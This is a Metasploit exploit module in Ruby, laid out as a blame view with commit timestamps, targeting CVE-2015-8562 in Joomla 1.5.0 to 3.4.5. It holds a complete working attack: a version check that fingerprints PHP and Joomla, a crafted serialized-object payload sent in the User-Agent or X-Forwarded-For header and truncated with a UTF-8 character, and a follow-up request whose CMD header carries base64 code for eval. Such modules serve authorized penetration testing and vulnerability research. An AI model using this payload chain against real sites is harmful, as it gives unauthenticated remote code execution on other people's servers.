2015-12-15 16:20:49 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = GoodRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
|
|
|
|
'Description' => %q{
|
2015-12-16 06:03:01 +00:00
|
|
|
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
|
2015-12-15 16:20:49 +00:00
|
|
|
By storing user supplied headers in the databases session table it's possible to truncate the input
|
|
|
|
by sending an UTF-8 character. The custom created payload is then executed once the session is read
|
2015-12-16 05:42:41 +00:00
|
|
|
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
|
|
|
|
In later versions the deserialisation of invalid session data stops on the first error and the
|
2015-12-16 14:19:33 +00:00
|
|
|
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
|
|
|
|
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
|
2015-12-15 16:20:49 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Marc-Alexandre Montpas', # discovery
|
|
|
|
'Christian Mehlmauer' # metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2015-8562'],
|
|
|
|
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
|
|
|
|
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
|
|
|
|
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
|
|
|
|
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
|
2015-12-16 05:42:41 +00:00
|
|
|
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
|
|
|
|
['URL', 'https://bugs.php.net/bug.php?id=70219']
|
2015-12-15 16:20:49 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' => [['Joomla', {}]],
|
|
|
|
'DisclosureDate' => 'Dec 14 2015',
|
|
|
|
'DefaultTarget' => 0)
|
2015-12-16 05:57:06 +00:00
|
|
|
)
|
2015-12-15 16:20:49 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
|
|
|
|
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2015-12-15 17:03:36 +00:00
|
|
|
def check
|
|
|
|
res = send_request_cgi({'uri' => target_uri.path })
|
|
|
|
|
|
|
|
unless res
|
|
|
|
vprint_error("Connection timed out")
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
unless res.headers['X-Powered-By']
|
|
|
|
vprint_error("Unable to determine the PHP version.")
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
2015-12-16 12:49:07 +00:00
|
|
|
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
|
2015-12-16 12:04:15 +00:00
|
|
|
version = Gem::Version.new(php_version)
|
2015-12-15 23:18:39 +00:00
|
|
|
vulnerable = false
|
|
|
|
|
2015-12-16 14:19:33 +00:00
|
|
|
# check for ubuntu and debian specific versions. Was fixed in
|
2015-12-16 13:02:26 +00:00
|
|
|
# * 5.5.9+dfsg-1ubuntu4.13
|
|
|
|
# * 5.3.10-1ubuntu3.20
|
2015-12-16 14:19:33 +00:00
|
|
|
# * 5.4.45-0+deb7u1
|
|
|
|
# Changelogs (search for CVE-2015-6835 or #70219):
|
2015-12-16 13:02:26 +00:00
|
|
|
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
|
|
|
|
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
|
2015-12-16 14:19:33 +00:00
|
|
|
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
|
2015-12-16 13:02:26 +00:00
|
|
|
if rest && rest.include?('ubuntu')
|
2015-12-16 12:49:07 +00:00
|
|
|
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
|
2015-12-16 14:19:33 +00:00
|
|
|
vprint_status("Found Ubuntu PHP version: #{res.headers['X-Powered-By']}")
|
2015-12-16 13:02:26 +00:00
|
|
|
|
2015-12-16 13:18:44 +00:00
|
|
|
if version > Gem::Version.new('5.5.9')
|
2015-12-16 12:49:07 +00:00
|
|
|
vulnerable = false
|
2015-12-16 13:18:44 +00:00
|
|
|
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
|
|
|
|
vulnerable = false
|
|
|
|
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
|
|
|
|
vulnerable = false
|
|
|
|
else
|
|
|
|
vulnerable = true
|
2015-12-16 12:49:07 +00:00
|
|
|
end
|
2015-12-16 14:19:33 +00:00
|
|
|
elsif rest && rest.include?('+deb')
|
|
|
|
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
|
|
|
|
vprint_status("Found Debian PHP version: #{res.headers['X-Powered-By']}")
|
|
|
|
|
|
|
|
if version > Gem::Version.new('5.4.45')
|
|
|
|
vulnerable = false
|
|
|
|
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
|
|
|
|
vulnerable = false
|
|
|
|
else
|
|
|
|
vulnerable = true
|
|
|
|
end
|
2015-12-16 13:18:44 +00:00
|
|
|
else
|
2015-12-16 14:19:33 +00:00
|
|
|
vprint_status("Found PHP version: #{res.headers['X-Powered-By']}")
|
2015-12-16 13:18:44 +00:00
|
|
|
vulnerable = true if version <= Gem::Version.new('5.4.44')
|
|
|
|
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
|
|
|
|
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
|
2015-12-16 12:49:07 +00:00
|
|
|
end
|
|
|
|
|
2015-12-15 23:18:39 +00:00
|
|
|
unless vulnerable
|
2015-12-15 17:03:36 +00:00
|
|
|
vprint_error('This module currently does not work against this PHP version')
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
res.get_html_meta_elements.each do |element|
|
|
|
|
if element.attributes['name'] &&
|
|
|
|
/^generator$/i === element.attributes['name'] &&
|
|
|
|
element.attributes['content'] &&
|
|
|
|
/joomla/i === element.attributes['content'].value
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-12-15 23:18:39 +00:00
|
|
|
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'plugins', 'system', 'cache', 'cache.xml') })
|
|
|
|
return Exploit::CheckCode::Detected if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
|
|
|
|
|
2015-12-16 06:26:25 +00:00
|
|
|
Exploit::CheckCode::Unknown
|
2015-12-15 17:03:36 +00:00
|
|
|
end
|
|
|
|
|
2015-12-15 16:20:49 +00:00
|
|
|
def get_payload
|
|
|
|
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
|
|
|
|
middle = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
|
|
|
|
pay = "eval(base64_decode($_SERVER['HTTP_CMD']));JFactory::getConfig();exit;"
|
|
|
|
middle2 = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
|
|
|
|
post = "\xF0\x9D\x8C\x86"
|
|
|
|
return "#{pre}#{middle}s:#{pay.length}:\"#{pay}#{middle2}#{post}"
|
|
|
|
end
|
|
|
|
|
2015-12-15 17:03:36 +00:00
|
|
|
def print_status(msg='')
|
|
|
|
super("#{peer} - #{msg}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def print_error(msg='')
|
|
|
|
super("#{peer} - #{msg}")
|
|
|
|
end
|
|
|
|
|
2015-12-15 16:20:49 +00:00
|
|
|
def exploit
|
2015-12-15 17:03:36 +00:00
|
|
|
if check == Exploit::CheckCode::Safe
|
|
|
|
print_error('Target seems safe, so we will not continue.')
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2015-12-15 16:20:49 +00:00
|
|
|
print_status("Sending payload ...")
|
|
|
|
res = send_request_cgi({
|
2015-12-16 05:57:06 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => target_uri.path,
|
2015-12-15 16:20:49 +00:00
|
|
|
'headers' => { datastore['HEADER'] => get_payload }
|
|
|
|
})
|
2015-12-16 12:52:06 +00:00
|
|
|
fail_with(Failure::Unknown, 'No response') if res.nil?
|
2015-12-15 16:20:49 +00:00
|
|
|
session_cookie = res.get_cookies
|
2015-12-16 12:52:06 +00:00
|
|
|
send_request_cgi({
|
2015-12-16 05:57:06 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => target_uri.path,
|
|
|
|
'cookie' => session_cookie,
|
2015-12-15 16:20:49 +00:00
|
|
|
'headers' => {
|
|
|
|
'CMD' => Rex::Text.encode_base64(payload.encoded)
|
|
|
|
}
|
|
|
|
})
|
|
|
|
end
|
|
|
|
end
|